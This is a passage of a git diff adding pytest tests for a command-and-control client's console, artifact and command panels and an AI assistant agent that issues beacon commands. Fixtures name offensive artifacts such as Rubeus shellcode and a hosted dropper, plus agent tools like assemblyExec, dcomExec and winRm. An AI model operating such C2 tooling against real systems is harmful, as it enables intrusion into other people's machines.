self.sessions.append(session) + return iter(self.modules) + + +def test_loaded_modules_tool_formats_loaded_modules(): + grpc = StubGrpc() + tool = C2LoadedModulesTool(grpc) + + result = tool.execute( + { + "beacon_hash": "beacon-12345678", + "listener_hash": "listener-12345678", + }, + context=None, + ) + + assert result.ok is True + assert "ls" in result.content + assert "pwd" in result.content + assert grpc.sessions[0].beacon_hash == "beacon-12345678" + assert grpc.sessions[0].listener_hash == "listener-12345678" + + +def test_has_loaded_module_requires_loaded_state(): + grpc = StubGrpc() + + assert has_loaded_module(grpc, beacon_hash="b", listener_hash="l", module_name="ls") is True + assert has_loaded_module(grpc, beacon_hash="b", listener_hash="l", module_name="pwd") is False + assert has_loaded_module(grpc, beacon_hash="b", listener_hash="l", module_name="cat") is False diff --git a/C2Client/tests/assistant_agent/test_prompt_loading.py b/C2Client/tests/assistant_agent/test_prompt_loading.py index 2ad2ce9..077b75f 100644 --- a/C2Client/tests/assistant_agent/test_prompt_loading.py +++ b/C2Client/tests/assistant_agent/test_prompt_loading.py @@ -15,6 +15,7 @@ def test_prompt_files_are_loaded_into_settings(tmp_path, monkeypatch): assert "durable operational memory" in settings.session_summary_synthesis_prompt assert "Merge the previous session summary" in settings.session_summary_merge_prompt assert settings.memory_model == DEFAULT_MEMORY_MODEL + assert settings.max_active_context_tokens == 64000 def test_memory_model_can_be_configured_independently(tmp_path, monkeypatch): @@ -49,6 +50,8 @@ def test_settings_load_values_from_env_file(tmp_path, monkeypatch): "C2_ASSISTANT_MODEL=main-from-file", "C2_ASSISTANT_MEMORY_MODEL=memory-from-file", "C2_ASSISTANT_MAX_TOOL_CALLS=3", + "C2_ASSISTANT_MAX_ACTIVE_CONTEXT_TOKENS=32000", + "C2_ASSISTANT_LOG_SYNTHESIS_PAYLOADS=true", ] ), encoding="utf-8", @@ -58,6 +61,8 @@ def test_settings_load_values_from_env_file(tmp_path, monkeypatch): monkeypatch.delenv("C2_ASSISTANT_MODEL", raising=False) monkeypatch.delenv("C2_ASSISTANT_MEMORY_MODEL", raising=False) monkeypatch.delenv("C2_ASSISTANT_MAX_TOOL_CALLS", raising=False) + monkeypatch.delenv("C2_ASSISTANT_MAX_ACTIVE_CONTEXT_TOKENS", raising=False) + monkeypatch.delenv("C2_ASSISTANT_LOG_SYNTHESIS_PAYLOADS", raising=False) settings = build_c2_agent_settings(storage_dir=tmp_path) @@ -65,3 +70,5 @@ def test_settings_load_values_from_env_file(tmp_path, monkeypatch): assert settings.model == "main-from-file" assert settings.memory_model == "memory-from-file" assert settings.max_tool_calls_per_turn == 3 + assert settings.max_active_context_tokens == 32000 + assert settings.log_synthesis_payloads is True diff --git a/C2Client/tests/assistant_agent/test_service_bootstrap.py b/C2Client/tests/assistant_agent/test_service_bootstrap.py index d5b8e3d..7cb235a 100644 --- a/C2Client/tests/assistant_agent/test_service_bootstrap.py +++ b/C2Client/tests/assistant_agent/test_service_bootstrap.py @@ -3,12 +3,29 @@ from types import SimpleNamespace from C2Client.assistant_agent.domain.service import C2AssistantAgent -from C2Client.assistant_agent.tools.loader import load_tool_specs + +from helpers import command_spec def test_service_bootstrap_registers_only_c2_tools(tmp_path): - service = C2AssistantAgent(SimpleNamespace(sendSessionCommand=lambda command: None), storage_dir=tmp_path) - expected_names = sorted(spec.name for spec in load_tool_specs()) + grpc = SimpleNamespace( + listCommands=lambda query: iter([ + command_spec("whoami", "whoami"), + command_spec("pwd", "pwd"), + ]), + sendSessionCommand=lambda command: None, + getCommandHelp=lambda command: None, + listModules=lambda session: iter([]), + listSessions=lambda: iter([]), + ) + + service = C2AssistantAgent(grpc, storage_dir=tmp_path) - assert service.orchestrator.registry.list_tool_names() == expected_names + assert service.orchestrator.registry.list_tool_names() == [ + "getCommandHelp", + "listLiveSessions", + "listLoadedModules", + "pwd", + "whoami", + ] assert service.session_manager.session_id == "default" diff --git a/C2Client/tests/assistant_agent/test_session_state_tool.py b/C2Client/tests/assistant_agent/test_session_state_tool.py new file mode 100644 index 0000000..7f1d063 --- /dev/null +++ b/C2Client/tests/assistant_agent/test_session_state_tool.py @@ -0,0 +1,53 @@ +from __future__ import annotations + +from types import SimpleNamespace + +from C2Client.assistant_agent.tools.session_state_tool import C2LiveSessionsTool, list_sessions + + +class StubGrpc: + def __init__(self): + self.sessions = [ + SimpleNamespace( + beacon_hash="mzBlbIj35qewE7Rpa51oRltFoaNahMJB", + listener_hash="listener-live", + hostname="desktop", + username="max", + arch="x64", + os="windows", + killed=False, + ), + SimpleNamespace( + beacon_hash="deadbeef", + listener_hash="listener-dead", + hostname="old", + username="max", + arch="x64", + os="windows", + killed=True, + ), + ] + + def listSessions(self): + return iter(self.sessions) + + +def test_live_sessions_tool_formats_live_sessions_and_short_hashes(): + tool = C2LiveSessionsTool(StubGrpc()) + + result = tool.execute({"beacon_prefix": "mz"}, context=None) + + assert result.ok is True + assert "mzBlbIj3" in result.content + assert "mzBlbIj35qewE7Rpa51oRltFoaNahMJB" in result.content + assert "listener-live" in result.content + assert "deadbeef" not in result.content + + +def test_list_sessions_can_include_killed_sessions(): + sessions = list_sessions(StubGrpc(), include_killed=True) + + assert [session.beacon_hash for session in sessions] == [ + "mzBlbIj35qewE7Rpa51oRltFoaNahMJB", + "deadbeef", + ] diff --git a/C2Client/tests/assistant_agent/test_tool_loader.py b/C2Client/tests/assistant_agent/test_tool_loader.py deleted file mode 100644 index 03ec784..0000000 --- a/C2Client/tests/assistant_agent/test_tool_loader.py +++ /dev/null @@ -1,22 +0,0 @@ -from __future__ import annotations - -from C2Client.assistant_agent.tools.loader import load_tool_specs - - -def test_tool_loader_loads_unique_json_tool_specs(): - specs = load_tool_specs() - names = [spec.name for spec in specs] - - assert "assemblyExec" in names - assert "dcomExec" in names - assert "ls" in names - assert "screenShot" in names - assert "run" in names - assert "winRm" in names - assert len(names) == len(set(names)) - assert all(spec.description for spec in specs) - assert all(spec.command_template for spec in specs) - assert all(spec.source_path.suffix == ".json" for spec in specs) - assert all(spec.parameters["type"] == "object" for spec in specs) - assert all("beacon_hash" in spec.parameters["required"] for spec in specs) - assert all("listener_hash" in spec.parameters["required"] for spec in specs) diff --git a/C2Client/tests/assistant_agent/test_tool_registry.py b/C2Client/tests/assistant_agent/test_tool_registry.py index 4d49617..0824134 100644 --- a/C2Client/tests/assistant_agent/test_tool_registry.py +++ b/C2Client/tests/assistant_agent/test_tool_registry.py @@ -1,13 +1,34 @@ from __future__ import annotations -from types import SimpleNamespace - -from C2Client.assistant_agent.tools.loader import load_tool_specs from C2Client.assistant_agent.tools.registry import build_c2_tool_registry +from helpers import arg, command_spec + + +class StubGrpc: + def __init__(self): + self.commands = [ + command_spec("whoami", "whoami"), + command_spec("ls", "ls {path:q?}", [arg("path", arg_type="path")]), + ] + + def listCommands(self, query): + return iter(self.commands) + + def sendSessionCommand(self, command): + return None + + def getCommandHelp(self, command): + return None + + def listModules(self, session): + return iter([]) + + def listSessions(self): + return iter([]) + -def test_tool_registry_registers_all_json_tools(): - registry = build_c2_tool_registry(SimpleNamespace(sendSessionCommand=lambda command: None)) - expected_names = sorted(spec.name for spec in load_tool_specs()) +def test_tool_registry_registers_teamserver_command_specs(): + registry = build_c2_tool_registry(StubGrpc()) - assert registry.list_tool_names() == expected_names + assert registry.list_tool_names() == ["getCommandHelp", "listLiveSessions", "listLoadedModules", "ls", "whoami"] diff --git a/C2Client/tests/test_artifact_panel.py b/C2Client/tests/test_artifact_panel.py new file mode 100644 index 0000000..9201979 --- /dev/null +++ b/C2Client/tests/test_artifact_panel.py @@ -0,0 +1,360 @@ +from types import SimpleNamespace + +from PyQt6.QtWidgets import QApplication, QFileDialog, QMessageBox, QWidget + +from C2Client.ArtifactPanel import Artifacts, format_size +from C2Client.grpcClient import TeamServerApi_pb2 + + +class FakeGrpc: + def __init__(self): + self.queries = [] + self.artifacts = [ + SimpleNamespace( + artifact_id="artifact-module-1", + name="winmod64.dll", + display_name="winmod64.dll", + category="module", + scope="beacon", + target="beacon", + platform="windows", + arch="x64", + runtime="native", + format="dll", + source="release", + size=2048, + sha256="a" * 64, + description="Windows module", + ), + SimpleNamespace( + artifact_id="artifact-script-1", + name="startup.py", + display_name="startup.py", + category="script", + scope="teamserver", + target="teamserver", + platform="any", + arch="any", + runtime="python", + format="py", + source="release", + size=12, + sha256="b" * 64, + description="Startup hook", + ), + SimpleNamespace( + artifact_id="artifact-generated-1", + name="9d4c1e5f0a3b-Rubeus.exe.bin", + display_name="Rubeus.exe.bin", + category="payload", + scope="generated", + target="beacon", + platform="windows", + arch="x64", + runtime="shellcode", + format="bin", + source="donut", + size=4096, + sha256="c" * 64, + description="Generated shellcode for assemblyExec.", + ), + SimpleNamespace( + artifact_id="artifact-hosted-1", + name="dropper.exe", + display_name="dropper.exe", + category="hosted", + scope="generated", + target="listener", + platform="any", + arch="any", + runtime="file", + format="exe", + source="operator", + size=1024, + sha256="e" * 64, + description="Hosted dropper.", + ), + ] + self.deleted = [] + self.downloaded = [] + self.uploaded = [] + + def listArtifacts(self, query): + self.queries.append(query) + + def matches(artifact, field): + expected = getattr(query, field, "") + if not expected: + return True + actual = getattr(artifact, field, "") + if field == "runtime": + return actual == expected + return actual == expected or actual == "any" + + def name_matches(artifact): + expected = getattr(query, "name_contains", "") + if not expected: + return True + return expected.lower() in getattr(artifact, "name", "").lower() + + return iter([ + artifact for artifact in self.artifacts + if matches(artifact, "category") + and matches(artifact, "scope") + and matches(artifact, "target") + and matches(artifact, "platform") + and matches(artifact, "arch") + and matches(artifact, "runtime") + and name_matches(artifact) + ]) + + def deleteArtifact(self, artifact_id): + self.deleted.append(artifact_id) + message = "Generated artifact deleted." + for artifact in self.artifacts: + if artifact.artifact_id == artifact_id and artifact.category == "hosted": + message = "Hosted artifact deleted." + if artifact.artifact_id == artifact_id and artifact.category == "upload": + message = "Uploaded artifact deleted." + self.artifacts = [ + artifact for artifact in self.artifacts + if artifact.artifact_id != artifact_id + ] + return SimpleNamespace(status=TeamServerApi_pb2.OK, message=message) + + def deleteGeneratedArtifact(self, artifact_id): + return self.deleteArtifact(artifact_id) + + def downloadArtifact(self, artifact_id): + self.downloaded.append(artifact_id) + return SimpleNamespace( + status=TeamServerApi_pb2.OK, + message="Artifact downloaded.", + artifact_id=artifact_id, + name="downloaded.bin", + display_name="downloaded.bin", + data=b"artifact-bytes", + ) + + def uploadArtifact(self, name, data, platform="any", arch="any"): + self.uploaded.append((name, data, platform, arch)) + self.artifacts.append( + SimpleNamespace( + artifact_id="artifact-uploaded-1", + name=name, + display_name=name, + category="upload", + scope="operator", + target="beacon", + platform=platform, + arch=arch, + runtime="file", + format="bin", + source="release", + size=len(data), + sha256="d" * 64, + description="Uploaded from client.", + ) + ) + return SimpleNamespace(status=TeamServerApi_pb2.OK, message=f"Uploaded artifact stored: {name}") + + +class FailingGrpc: + def listArtifacts(self, query): + raise RuntimeError("catalog unavailable") + + +def test_format_size_uses_human_units(): + assert format_size(0) == "0 B" + assert format_size(42) == "42 B" + assert format_size(2048) == "2.0 KB" + assert format_size(1024 * 1024) == "1.0 MB" + + +def test_artifacts_panel_lists_filters_and_copies_id(qtbot): + grpc = FakeGrpc() + parent = QWidget() + panel = Artifacts(parent, grpc) + qtbot.addWidget(panel) + + assert panel.categoryFilter.findText("minidump") != -1 + assert panel.categoryFilter.findText("screenshot") != -1 + assert panel.categoryFilter.findText("hosted") != -1 + assert not hasattr(panel, "scopeFilter") + assert not hasattr(panel, "targetFilter") + assert panel.platformFilter.findText("any") == -1 + assert panel.archFilter.findText("any") == -1 + assert panel.runtimeFilter.findText("any") == -1 + assert panel.isDeletableArtifact(SimpleNamespace(category="hosted", scope="generated")) + assert panel.artifactTable.rowCount() == 4 + assert panel.artifactTable.item(0, 0).text() == "module" + assert panel.artifactTable.item(0, 1).text() == "winmod64.dll" + assert panel.artifactTable.item(0, 4).text() == "native" + assert panel.artifactTable.item(0, 6).text() == "2.0 KB" + assert panel.artifactTable.item(0, 7).text() == "aaaaaaaaaaaa" + assert "Artifact ID: artifact-module-1" in panel.artifactTable.item(0, 1).toolTip() + + panel.categoryFilter.setCurrentText("module") + panel.platformFilter.setCurrentText("windows") + panel.archFilter.setCurrentText("x64") + panel.runtimeFilter.setCurrentText("native") + panel.searchInput.setText("win") + panel.refreshArtifacts() + + query = grpc.queries[-1] + assert query.category == "module" + assert query.scope == "" + assert query.target == "" + assert query.platform == "windows" + assert query.arch == "x64" + assert query.runtime == "native" + assert query.name_contains == "win" + + panel.artifactTable.selectRow(0) + panel.copyIdButton.click() + + assert QApplication.clipboard().text() == "artifact-module-1" + assert panel.statusLabel.text() == "Artifacts: artifact ID copied." + assert not panel.deleteButton.isEnabled() + + +def test_artifacts_panel_filters_on_selection_and_deletes_generated(qtbot, monkeypatch): + grpc = FakeGrpc() + parent = QWidget() + panel = Artifacts(parent, grpc) + qtbot.addWidget(panel) + + assert not hasattr(panel, "generatedButton") + panel.categoryFilter.setCurrentText("payload") + panel.runtimeFilter.setCurrentText("shellcode") + + query = grpc.queries[-1] + assert query.category == "payload" + assert query.scope == "" + assert query.runtime == "shellcode" + assert panel.artifactTable.rowCount() == 1 + assert panel.artifactTable.item(0, 1).text() == "9d4c1e5f0a3b-Rubeus.exe.bin" + assert panel.artifactTable.item(0, 8).text() == "donut" + assert "SHA256: " + ("c" * 64) in panel.artifactTable.item(0, 1).toolTip() + + monkeypatch.setattr( + QMessageBox, + "question", + lambda *args, **kwargs: QMessageBox.StandardButton.Yes, + ) + panel.artifactTable.selectRow(0) + assert panel.deleteButton.isEnabled() + panel.deleteButton.click() + + assert grpc.deleted == ["artifact-generated-1"] + assert panel.artifactTable.rowCount() == 0 + assert panel.statusLabel.text() == "Artifacts: Generated artifact deleted." + + +def test_artifacts_panel_deletes_hosted_artifacts(qtbot, monkeypatch): + grpc = FakeGrpc() + parent = QWidget() + panel = Artifacts(parent, grpc) + qtbot.addWidget(panel) + + panel.categoryFilter.setCurrentText("hosted") + assert panel.artifactTable.rowCount() == 1 + assert panel.artifactTable.item(0, 0).text() == "hosted" + + monkeypatch.setattr( + QMessageBox, + "question", + lambda *args, **kwargs: QMessageBox.StandardButton.Yes, + ) + panel.artifactTable.selectRow(0) + assert panel.deleteButton.isEnabled() + panel.deleteButton.click() + + assert grpc.deleted == ["artifact-hosted-1"] + assert panel.artifactTable.rowCount() == 0 + assert panel.statusLabel.text() == "Artifacts: Hosted artifact deleted." + + +def test_artifacts_panel_deletes_uploaded_artifacts(qtbot, monkeypatch): + grpc = FakeGrpc() + grpc.artifacts.append(SimpleNamespace( + artifact_id="artifact-upload-1", + name="operator-note.txt", + display_name="operator-note.txt", + category="upload", + scope="operator", + target="beacon", + platform="windows", + arch="x64", + runtime="file", + format="txt", + source="operator", + size=5, + sha256="f" * 64, + description="Uploaded note.", + )) + parent = QWidget() + panel = Artifacts(parent, grpc) + qtbot.addWidget(panel) + + panel.categoryFilter.setCurrentText("upload") + assert panel.artifactTable.rowCount() == 1 + assert panel.artifactTable.item(0, 1).text() == "operator-note.txt" + + monkeypatch.setattr( + QMessageBox, + "question", + lambda *args, **kwargs: QMessageBox.StandardButton.Yes, + ) + panel.artifactTable.selectRow(0) + assert panel.deleteButton.isEnabled() + panel.deleteButton.click() + + assert grpc.deleted == ["artifact-upload-1"] + assert panel.artifactTable.rowCount() == 0 + assert panel.statusLabel.text() == "Artifacts: Uploaded artifact deleted." + + +def test_artifacts_panel_downloads_and_uploads_files(qtbot, monkeypatch, tmp_path): + grpc = FakeGrpc() + parent = QWidget() + panel = Artifacts(parent, grpc) + qtbot.addWidget(panel) + + destination = tmp_path / "artifact.bin" + monkeypatch.setattr( + QFileDialog, + "getSaveFileName", + lambda *args, **kwargs: (str(destination), ""), + ) + panel.artifactTable.selectRow(0) + panel.downloadButton.click() + + assert grpc.downloaded == ["artifact-module-1"] + assert destination.read_bytes() == b"artifact-bytes" + assert panel.statusLabel.text() == "Artifacts: downloaded artifact.bin." + + source = tmp_path / "local payload.bin" + source.write_bytes(b"local-bytes") + monkeypatch.setattr( + QFileDialog, + "getOpenFileName", + lambda *args, **kwargs: (str(source), ""), + ) + panel.platformFilter.setCurrentText("windows") + panel.archFilter.setCurrentText("x64") + panel.uploadButton.click() + + assert grpc.uploaded == [("local payload.bin", b"local-bytes", "windows", "x64")] + assert panel.statusLabel.text() == "Artifacts: Uploaded artifact stored: local payload.bin" + assert any(getattr(artifact, "artifact_id", "") == "artifact-uploaded-1" for artifact in panel.artifacts) + + +def test_artifacts_panel_reports_refresh_errors(qtbot): + parent = QWidget() + panel = Artifacts(parent, FailingGrpc()) + qtbot.addWidget(panel) + + assert panel.artifactTable.rowCount() == 0 + assert "catalog unavailable" in panel.statusLabel.text() + assert "#b00020" in panel.statusLabel.styleSheet() diff --git a/C2Client/tests/test_assistant_panel.py b/C2Client/tests/test_assistant_panel.py index ad073a2..dab8cbb 100644 --- a/C2Client/tests/test_assistant_panel.py +++ b/C2Client/tests/test_assistant_panel.py @@ -8,10 +8,14 @@ class FakeDomainHooks: def __init__(self): self.observations = [] + self.active_sessions = [] def record_session_event(self, **kwargs): pass + def record_active_session(self, **kwargs): + self.active_sessions.append(kwargs) + def record_console_observation(self, **kwargs): self.observations.append(kwargs) @@ -76,6 +80,22 @@ def test_help_command_shows_local_commands(qtbot, monkeypatch): assert "/reset - Alias for /cancel." in output +def test_assistant_console_uses_role_badges_without_default_marker(qtbot, monkeypatch): + assistant = build_assistant(qtbot, monkeypatch) + assistant.editorOutput.clear() + + assistant.printInTerminal("System", "ready") + assistant.printInTerminal("User:", "hello") + assistant.printInTerminal("Analysis:", "ok") + + output = assistant.editorOutput.toPlainText() + assert "[system]\nready" in output + assert "[user]\nhello" in output + assert "[assistant]\nok" in output + assert "[+]" not in output + assert "color:#d0d5dd" in assistant.editorOutput.toHtml() + + def test_unknown_slash_command_redirects_to_help_without_calling_assistant(qtbot, monkeypatch): assistant = build_assistant(qtbot, monkeypatch) diff --git a/C2Client/tests/test_command_panel.py b/C2Client/tests/test_command_panel.py new file mode 100644 index 0000000..54f14ab --- /dev/null +++ b/C2Client/tests/test_command_panel.py @@ -0,0 +1,106 @@ +from types import SimpleNamespace + +from PyQt6.QtWidgets import QWidget + +from C2Client.CommandPanel import Commands, format_arg_summary + + +class FakeGrpc: + def __init__(self): + self.queries = [] + self.commands = [ + SimpleNamespace( + name="sleep", + display_name="sleep", + kind="common", + description="Set beacon sleep interval.", + target="beacon", + requires_session=True, + platforms=["windows", "linux"], + archs=["any"], + args=[ + SimpleNamespace( + name="seconds", + type="number", + required=True, + description="Sleep interval.", + values=[], + variadic=False, + ) + ], + examples=["sleep 0.5"], + source="manifest", + ), + SimpleNamespace( + name="pwd", + display_name="pwd", + kind="module", + description="Print current working directory.", + target="beacon", + requires_session=True, + platforms=["windows", "linux"], + archs=["any"], + args=[], + examples=["pwd"], + source="manifest", + ), + ] + + def listCommands(self, query): + self.queries.append(query) + return iter(self.commands) + + +class FailingGrpc: + def listCommands(self, query): + raise RuntimeError("command catalog unavailable") + + +def test_format_arg_summary_handles_required_optional_and_variadic(): + command = SimpleNamespace( + args=[ + SimpleNamespace(name="path", type="path", required=False, variadic=True), + SimpleNamespace(name="mode", type="enum", required=True, variadic=False), + ] + ) + + assert format_arg_summary(command) == "[path:path]... mode:enum" + + +def test_commands_panel_lists_filters_and_details(qtbot): + grpc = FakeGrpc() + parent = QWidget() + panel = Commands(parent, grpc) + qtbot.addWidget(panel) + + assert panel.commandTable.rowCount() == 2 + assert panel.commandTable.item(0, 0).text() == "sleep" + assert panel.commandTable.item(0, 1).text() == "common" + assert panel.commandTable.item(0, 4).text() == "seconds:number" + assert panel.commandTable.item(0, 5).text() == "sleep 0.5" + + panel.kindFilter.setCurrentText("module") + panel.targetFilter.setCurrentText("beacon") + panel.platformFilter.setCurrentText("linux") + panel.searchInput.setText("pwd") + panel.refreshCommands() + + query = grpc.queries[-1] + assert query.kind == "module" + assert query.target == "beacon" + assert query.platform == "linux" + assert query.name_contains == "pwd" + + panel.commandTable.selectRow(0) + assert "Set beacon sleep interval." in panel.details.toPlainText() + assert "seconds" in panel.details.toPlainText() + + +def test_commands_panel_reports_refresh_errors(qtbot): + parent = QWidget() + panel = Commands(parent, FailingGrpc()) + qtbot.addWidget(panel) + + assert panel.commandTable.rowCount() == 0 + assert "command catalog unavailable" in panel.statusLabel.text() + assert "#b00020" in panel.statusLabel.styleSheet() diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index b733bf9..4769e3d 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -1,14 +1,25 @@ import os from types import SimpleNamespace -import pytest +from PyQt6.QtCore import pyqtSignal from PyQt6.QtWidgets import QWidget import C2Client.grpcClient as grpc_client_module import sys sys.modules['grpcClient'] = grpc_client_module -from C2Client.ConsolePanel import Console +from C2Client.ConsolePanel import ( + CommandEditor, + Console, + ConsolesTab, + DOTNET_LOAD_NAME_PLACEHOLDER, + SYSTEM_TAB_COUNT, + _load_artifacts_for_arg, + build_completer_data, + console_completion_options, + command_specs_to_completer_data, + normalize_console_completion_text, +) from C2Client.grpcClient import TeamServerApi_pb2 @@ -16,11 +27,15 @@ class StubGrpc: def __init__(self): self.reject_commands = False self.responses = [] + self.sent_commands = [] + self.modules = [] + self.list_modules_requests = [] def getCommandHelp(self, command): return SimpleNamespace(status=TeamServerApi_pb2.OK, command=command.command, help="help", message="") def sendSessionCommand(self, command): + self.sent_commands.append(command) if self.reject_commands: return SimpleNamespace(status=TeamServerApi_pb2.KO, message="Session not found.", command_id=command.command_id) return SimpleNamespace(status=TeamServerApi_pb2.OK, message="", command_id=command.command_id) @@ -28,6 +43,30 @@ def sendSessionCommand(self, command): def streamSessionCommandResults(self, session): return self.responses + def listCommands(self, query=None): + return iter([]) + + def listSessions(self): + return iter([]) + + def listListeners(self): + return iter([]) + + def listModules(self, session): + self.list_modules_requests.append(session) + return iter(self.modules) + + +class DummyPanel(QWidget): + def __init__(self, parent=None, *_args, **_kwargs): + super().__init__(parent) + + def consoleScriptMethod(self, *args, **kwargs): + pass + + def consoleAssistantMethod(self, *args, **kwargs): + pass + def test_command_history_and_logging(tmp_path, qtbot, monkeypatch): monkeypatch.chdir(tmp_path) @@ -38,14 +77,26 @@ def test_command_history_and_logging(tmp_path, qtbot, monkeypatch): console = Console(parent, StubGrpc(), 'beacon', 'listener', 'host', 'user') qtbot.addWidget(console) - console.commandEditor.setText('help') + assert "#0b1117" in console.styleSheet() + assert "#101820" in console.styleSheet() + assert console.searchInput.minimumHeight() == 26 + assert console.searchInput.maximumHeight() == 26 + assert console.findPreviousButton.minimumHeight() == 26 + assert console.findPreviousButton.maximumHeight() == 26 + + console.commandEditor.setText('help assemblyExec') console.runCommand() history_file = tmp_path / '.cmdHistory' - assert history_file.read_text() == 'help\n' + assert history_file.read_text() == 'help assemblyExec\n' log_file = tmp_path / 'host_user_beacon.log' - assert 'send: "help"' in log_file.read_text() + assert 'send: "help assemblyExec"' in log_file.read_text() + output = console.editorOutput.toPlainText() + assert "[queued]" in output + assert "[done]" in output + assert "[>>]" not in output + assert "[<<]" not in output def test_command_ack_error_is_displayed_without_pending_emit(tmp_path, qtbot, monkeypatch): @@ -66,10 +117,50 @@ def test_command_ack_error_is_displayed_without_pending_emit(tmp_path, qtbot, mo console.runCommand() assert emitted == [] - assert "Session not found." in console.editorOutput.toPlainText() + output = console.editorOutput.toPlainText() + assert "Session not found." in output + assert "[error]" in output + assert "[<<]" not in output + command_id = grpc.sent_commands[0].command_id + assert console.commandStatusById[command_id]["status"] == "error" assert 'rejected: "whoami"' in (tmp_path / 'host_user_beacon.log').read_text() +def test_list_module_command_uses_local_status_without_session_queueing(tmp_path, qtbot, monkeypatch): + monkeypatch.chdir(tmp_path) + monkeypatch.setattr('C2Client.ConsolePanel.logsDir', str(tmp_path)) + monkeypatch.setattr('C2Client.ConsolePanel.QThread.start', lambda self: None) + + grpc = StubGrpc() + grpc.modules = [ + SimpleNamespace(name="pwd", state="loaded"), + SimpleNamespace(name="shell", state="loading", load_count=7, command_id="cmd-1"), + ] + parent = QWidget() + console = Console(parent, grpc, 'beacon', 'listener', 'host', 'user') + qtbot.addWidget(console) + grpc.list_modules_requests.clear() + + console.commandEditor.setText('listModule') + console.runCommand() + + assert grpc.sent_commands == [] + assert len(grpc.list_modules_requests) == 1 + assert grpc.list_modules_requests[0].beacon_hash == "beacon" + assert grpc.list_modules_requests[0].listener_hash == "listener" + output = console.editorOutput.toPlainText() + assert "[queued]" in output + assert "[done]" in output + assert "[>>]" not in output + assert "[<<]" not in output + assert "pwd" in output + assert "loaded" in output + assert "shell" in output + assert "loading" in output + assert "count" not in output + assert "cmd-1" not in output + + def test_command_result_error_uses_message_for_display(tmp_path, qtbot, monkeypatch): monkeypatch.chdir(tmp_path) monkeypatch.setattr('C2Client.ConsolePanel.logsDir', str(tmp_path)) @@ -98,4 +189,812 @@ def test_command_result_error_uses_message_for_display(tmp_path, qtbot, monkeypa assert "Command failed." in console.editorOutput.toPlainText() assert "raw failure" not in console.editorOutput.toPlainText() + assert console.commandStatusById["cmd-1"]["status"] == "error" assert emitted[0][-2] == "Command failed." + + +def test_console_collects_responses_even_when_not_visible(tmp_path, qtbot, monkeypatch): + monkeypatch.chdir(tmp_path) + monkeypatch.setattr('C2Client.ConsolePanel.logsDir', str(tmp_path)) + monkeypatch.setattr('C2Client.ConsolePanel.QThread.start', lambda self: None) + + grpc = StubGrpc() + grpc.responses = [ + SimpleNamespace( + status=TeamServerApi_pb2.OK, + session=SimpleNamespace(listener_hash="listener"), + command="whoami", + instruction="", + command_id="cmd-1", + output=b"user", + message="", + ) + ] + parent = QWidget() + console = Console(parent, grpc, 'beacon', 'listener', 'host', 'user') + qtbot.addWidget(console) + emitted = [] + console.consoleScriptSignal.connect(lambda *args: emitted.append(args)) + + console.setResponsePollingActive(False) + console.displayResponse() + + assert console.consoleActive is False + assert console.commandStatusById["cmd-1"]["status"] == "done" + assert emitted[0][0] == "receive" + assert emitted[0][-1] == "cmd-1" + assert "user" in console.editorOutput.toPlainText() + + +def test_console_tracks_command_status_and_resend(tmp_path, qtbot, monkeypatch): + monkeypatch.chdir(tmp_path) + monkeypatch.setattr('C2Client.ConsolePanel.logsDir', str(tmp_path)) + monkeypatch.setattr('C2Client.ConsolePanel.QThread.start', lambda self: None) + + grpc = StubGrpc() + parent = QWidget() + console = Console(parent, grpc, 'beacon', 'listener', 'host', 'user') + qtbot.addWidget(console) + + console.commandEditor.setText('whoami') + console.runCommand() + + first_command_id = grpc.sent_commands[0].command_id + assert console.lastCommandLine == 'whoami' + assert console.commandStatusById[first_command_id]["status"] == "queued" + output = console.editorOutput.toPlainText() + assert "[queued]" in output + assert "[>>]" not in output + + console.resendLastCommand() + + assert len(grpc.sent_commands) == 2 + assert grpc.sent_commands[1].command == 'whoami' + + grpc.responses = [ + SimpleNamespace( + status=TeamServerApi_pb2.OK, + session=SimpleNamespace(listener_hash="listener"), + command="whoami", + instruction="", + command_id=first_command_id, + output=b"user", + message="", + ) + ] + + console.displayResponse() + + assert console.commandStatusById[first_command_id]["status"] == "done" + output = console.editorOutput.toPlainText() + assert "[done]" in output + assert "[<<]" not in output + assert output.index("[done]") < output.index("user") + + +def test_console_search_clear_and_export_controls(tmp_path, qtbot, monkeypatch): + monkeypatch.chdir(tmp_path) + monkeypatch.setattr('C2Client.ConsolePanel.logsDir', str(tmp_path)) + monkeypatch.setattr('C2Client.ConsolePanel.QThread.start', lambda self: None) + + parent = QWidget() + console = Console(parent, StubGrpc(), 'beacon', 'listener', 'host', 'user') + qtbot.addWidget(console) + + console.printInTerminal("whoami", "", "") + console.printInTerminal("", "whoami", "needle output") + + console.searchInput.setText("needle") + assert console.findNextSearchMatch() is True + assert console.consoleNoticeLabel.text() in {"Match found.", "Search wrapped."} + + export_path = console.exportConsoleOutput() + assert os.path.exists(export_path) + with open(export_path, encoding="utf-8") as exportFile: + assert "needle output" in exportFile.read() + + console.clearConsoleOutput() + assert console.editorOutput.toPlainText() == "" + + +def test_console_replays_structured_log_on_reopen(tmp_path, qtbot, monkeypatch): + monkeypatch.chdir(tmp_path) + monkeypatch.setattr('C2Client.ConsolePanel.logsDir', str(tmp_path)) + monkeypatch.setattr('C2Client.ConsolePanel.QThread.start', lambda self: None) + + grpc = StubGrpc() + parent = QWidget() + console = Console(parent, grpc, 'beacon', 'listener', 'host', 'user') + qtbot.addWidget(console) + + console.commandEditor.setText('whoami') + console.runCommand() + command_id = grpc.sent_commands[0].command_id + grpc.responses = [ + SimpleNamespace( + status=TeamServerApi_pb2.OK, + session=SimpleNamespace(listener_hash="listener"), + command="whoami", + instruction="", + command_id=command_id, + output=b"user", + message="", + ) + ] + console.displayResponse() + + log_text = (tmp_path / 'host_user_beacon.log').read_text() + assert '[console]' in log_text + + reopened = Console(parent, StubGrpc(), 'beacon', 'listener', 'host', 'user') + qtbot.addWidget(reopened) + + output = reopened.editorOutput.toPlainText() + assert "[queued]" in output + assert "[done]" in output + assert "[>>]" not in output + assert "whoami" in output + assert "user" in output + assert reopened.commandStatusById[command_id]["status"] == "done" + assert command_id in reopened.renderedResponseIds + + +def test_consoles_tab_uses_dark_flush_pages(qtbot, monkeypatch): + monkeypatch.setattr('C2Client.ConsolePanel.Terminal', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Script', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Artifacts', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Commands', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Assistant', DummyPanel) + + parent = QWidget() + consoles = 